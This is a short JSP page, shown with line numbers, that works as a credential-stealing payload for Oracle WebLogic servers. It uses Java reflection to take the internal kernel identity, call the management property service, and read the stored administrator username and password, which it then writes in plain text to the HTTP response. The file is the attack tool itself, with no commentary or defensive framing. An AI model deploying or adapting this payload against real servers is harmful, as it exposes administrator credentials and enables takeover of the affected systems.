1. <%@page import="java.lang.reflect.Field" %>
    2. <%@page import="java.lang.reflect.Method" %>
    3. <%
    4. try{
    5. ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
    6. Class httpDataTransferHandler = classLoader.loadClass("weblogic.deploy.service.datatransferhandlers.HttpDataTransferHandler");
    7. Class managementService = classLoader.loadClass("weblogic.management.provider.ManagementService");
    8. Class authenticatedSubject = classLoader.loadClass("weblogic.security.acl.internal.AuthenticatedSubject");
    9. Class propertyService = classLoader.loadClass("weblogic.management.provider.PropertyService");
    10. Field KERNE_ID = httpDataTransferHandler.getDeclaredField("KERNE_ID");
    11. KERNE_ID.setAccessible(true);
    12. Method getPropertyService = managementService.getMethod("getPropertyService",authenticatedSubject);
    13. getPropertyService.setAccessible(true);
    14. Object prop = getPropertyService.invoke((Object) null,KERNE_ID.get((Object) null));
    15. Method getTimestamp1 = propertyService.getMethod("getTimestamp1");
    16. getTimestamp1.setAccessible(true);
    17. Method getTimestamp2 = propertyService.getMethod("getTimestamp2");
    18. getTimestamp2.setAccessible(true);
    19. String username = (String) getTimestamp1.invoke(prop);
    20. String password = (String) getTimestamp2.invoke(prop);
    21. response.getWriter().write( username + "/" + password);
    22. }catch (Exception e) {
    23. e.printStackTrace();
    24. }
    25. %>